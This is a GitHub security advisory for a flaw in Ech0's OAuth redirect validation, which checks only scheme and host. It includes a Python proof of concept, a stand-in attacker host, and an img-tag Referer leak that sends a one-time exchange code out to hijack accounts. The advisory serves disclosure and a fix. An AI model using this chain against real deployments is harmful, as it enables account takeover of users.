Skip to content

Ech0's OAuth redirect URI validation ignores path component, enables exchange-code theft

High severity GitHub Reviewed Published May 3, 2026 in lin-snow/Ech0 • Updated May 7, 2026

Package

gomod github.com/lin-snow/Ech0 (Go)

Affected versions

< 1.4.8-0.20260503040728-a7e8b8e84bd1

Patched versions

1.4.8-0.20260503040728-a7e8b8e84bd1

Description

Summary

parseAndValidateClientRedirect at internal/service/auth/auth.go:448 validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at /oauth/:provider/login embeds the caller-supplied redirect_uri verbatim into the signed state JWT without any validation at login time. Alice submits a crafted redirect_uri whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path with the one-time exchange code in the query string. If the chosen path leaks the URL via Referer, analytics, or an open redirect, the attacker trades the code at POST /api/auth/exchange for the victim's access and refresh tokens. RFC 6749 §3.1.2 requires exact redirect URI matching.

Details

Validation at internal/service/auth/auth.go:448:

matched := false
for _, item := range allowed {
    allowURL, parseErr := url.Parse(strings.TrimSpace(item))
    if parseErr != nil || allowURL == nil || allowURL.Host == "" {
        continue
    }
    if strings.EqualFold(redirectURL.Scheme, allowURL.Scheme) &&
       strings.EqualFold(redirectURL.Host, allowURL.Host) {
        matched = true
        break
    }
}

Scheme and host compared via EqualFold. Path, query, fragment all ignored. An allowlist entry of https://myecho.example.com/dashboard matches every https://myecho.example.com/<anything> the attacker sends.

Login flow at internal/service/auth/auth.go:141 (GetOAuthLoginURL) and the handler at internal/handler/auth/oauth.go:43:

redirectURI := ctx.Query("redirect_uri")
redirectURL, err := h.authService.GetOAuthLoginURL(provider, redirectURI)
// ...
ctx.Redirect(302, redirectURL)

No validation at login. The raw redirect_uri query parameter is passed to GetOAuthLoginURL, which encodes it into the signed state JWT alongside the provider name and nonce. The state JWT travels through the OAuth provider and returns on the callback.

At callback time, parseAndValidateClientRedirect(oauthState.Redirect) fires at internal/service/auth/auth.go:372 and :427 inside the callback handler chain. Scheme and host are the only gates on the attacker-chosen URI.

After validation, the server generates a one-time exchange code and redirects the browser to the attacker-chosen path:

302 Location: https://myecho.example.com/<attacker-path>?code=<one-time-exchange-code>

The code is valid at the public endpoint POST /api/auth/exchange for up to 60 seconds (single-use). An attacker who reads the code from the URL trades it for the victim's access token and refresh token.

Proof of Concept

Default install with OAuth2 configured. Admin allows https://myecho.example.com/dashboard as the return URL; Alice sends a crafted login link whose redirect points elsewhere on the same host:

import requests, urllib.parse, base64, json
TARGET = "http://localhost:8300"

# Admin setup: enable OAuth with one allowed return URL (dashboard).
owner = requests.post(f"{TARGET}/api/login",
                      json={"username": "owner", "password": "owner-pw"}
                     ).json()["data"]["access_token"]
requests.put(f"{TARGET}/api/oauth2/settings",
             headers={"Authorization": f"Bearer {owner}",
                      "content-type": "application/json"},
             json={"enable": True, "provider": "github",
                   "client_id": "poc-client-id", "client_secret": "poc-client-secret",
                   "redirect_uri": f"{TARGET}/oauth/github/callback",
                   "scopes": ["read:user"],
                   "auth_url": "https://github.com/login/oauth/authorize",
                   "token_url": "https://github.com/login/oauth/access_token",
                   "user_info_url": "https://api.github.com/user",
                   "auth_redirect_allowed_return_urls": ["https://myecho.example.com/dashboard"]})

# Alice's link to the victim. Same host, different path.
for attacker_uri in [
    "https://myecho.example.com/dashboard",            # control, allowed
    "https://myecho.example.com/attacker-chosen-path", # path bypass
    "https://attacker.example/foo",                    # different host, should also fail
]:
    url = f"{TARGET}/oauth/github/login?redirect_uri=" + urllib.parse.quote(attacker_uri)
    r = requests.get(url, allow_redirects=False)
    loc = r.headers.get("Location", "")
    state_jwt = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get("state", [""])[0]
    pad = lambda s: s + "=" * (-len(s) % 4)
    payload = json.loads(base64.urlsafe_b64decode(pad(state_jwt.split(".")[1])))
    print(f"  redirect_uri={attacker_uri!r}")
    print(f"    login HTTP: {r.status_code}")
    print(f"    state JWT redirect: {payload.get('redirect')!r}")

Observed on v4.5.6:

redirect_uri='https://myecho.example.com/dashboard'
  login HTTP: 302
  state JWT redirect: 'https://myecho.example.com/dashboard'
redirect_uri='https://myecho.example.com/attacker-chosen-path'
  login HTTP: 302
  state JWT redirect: 'https://myecho.example.com/attacker-chosen-path'
redirect_uri='https://attacker.example/foo'
  login HTTP: 302
  state JWT redirect: 'https://attacker.example/foo'

All three redirect_uri values sail through login with no validation; the state JWT carries the attacker-chosen URL verbatim. The first two pass the callback's scheme+host check against the dashboard allowlist entry and the server redirects to the attacker-chosen path with the exchange code appended. The third (different host) fails the callback's allowlist check, so it does not land; the point is that no validation occurs at login time, only at callback, and the callback check ignores path entirely.

Impact

Alice delivers a single link to Bob (phishing email, social-engineering message, embedded redirect in a compromised site). Bob clicks, completes OAuth as himself, and lands on the attacker-chosen path on the legitimate Ech0 host with ?code=<one-time> in the URL. Three paths to full account takeover follow:

  • Referer leakage. A single <img src="https://attacker.site/log"> or <script src> on the attacker-chosen path sends the victim's full URL (including the code) to the attacker in the Referer header.
  • Analytics and third-party scripts. Any page on the allowlisted host that loads Google Analytics, Sentry, or Segment reports the URL (including the code) to those services. Any attacker with access to those accounts reads the code.
  • Open-redirect chains. If any path on the allowlisted host has an open-redirect bug, the attacker targets it and bounces the URL (with the code) to their server.

The code is trade-in-able at POST /api/auth/exchange, which is public. The exchange returns the victim's access_token and refresh_token. Full account takeover follows.

Preconditions: Ech0's OAuth is configured (opt-in), one allowlisted host has any path that leaks URLs, and the attacker reaches the victim with a crafted link. RFC 6749 §3.1.2 exists precisely to prevent this chain.

Recommended Fix

Require exact redirect URI matching per the spec. Compare scheme, host, and path together:

redirectNorm := strings.ToLower(redirectURL.Scheme) + "://" +
                strings.ToLower(redirectURL.Host) +
                redirectURL.Path
for _, item := range allowed {
    allowURL, parseErr := url.Parse(strings.TrimSpace(item))
    if parseErr != nil || allowURL == nil || allowURL.Host == "" {
        continue
    }
    allowNorm := strings.ToLower(allowURL.Scheme) + "://" +
                 strings.ToLower(allowURL.Host) +
                 allowURL.Path
    if redirectNorm == allowNorm {
        matched = true
        break
    }
}

Validate the redirect_uri at login time too, so a malformed value never enters the state JWT:

func (s *AuthService) GetOAuthLoginURL(provider, redirectURI string) (string, error) {
    if redirectURI != "" {
        if _, err := s.parseAndValidateClientRedirect(redirectURI); err != nil {
            return "", err
        }
    }
    // ... rest unchanged
}

Document the exact-match semantics in the admin panel. Every allowlisted return URL needs the full path the front-end lands on.


Found by aisafe.io

References

@lin-snow lin-snow published to lin-snow/Ech0 May 3, 2026
Published to the GitHub Advisory Database May 7, 2026
Reviewed May 7, 2026
Last updated May 7, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

EPSS score

Weaknesses

URL Redirection to Untrusted Site ('Open Redirect')

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Learn more on MITRE.

Improper Use of Validation Framework

The product does not use, or incorrectly uses, an input validation framework that is provided by the source language or an independent library. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-p64j-f4x9-wq66

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.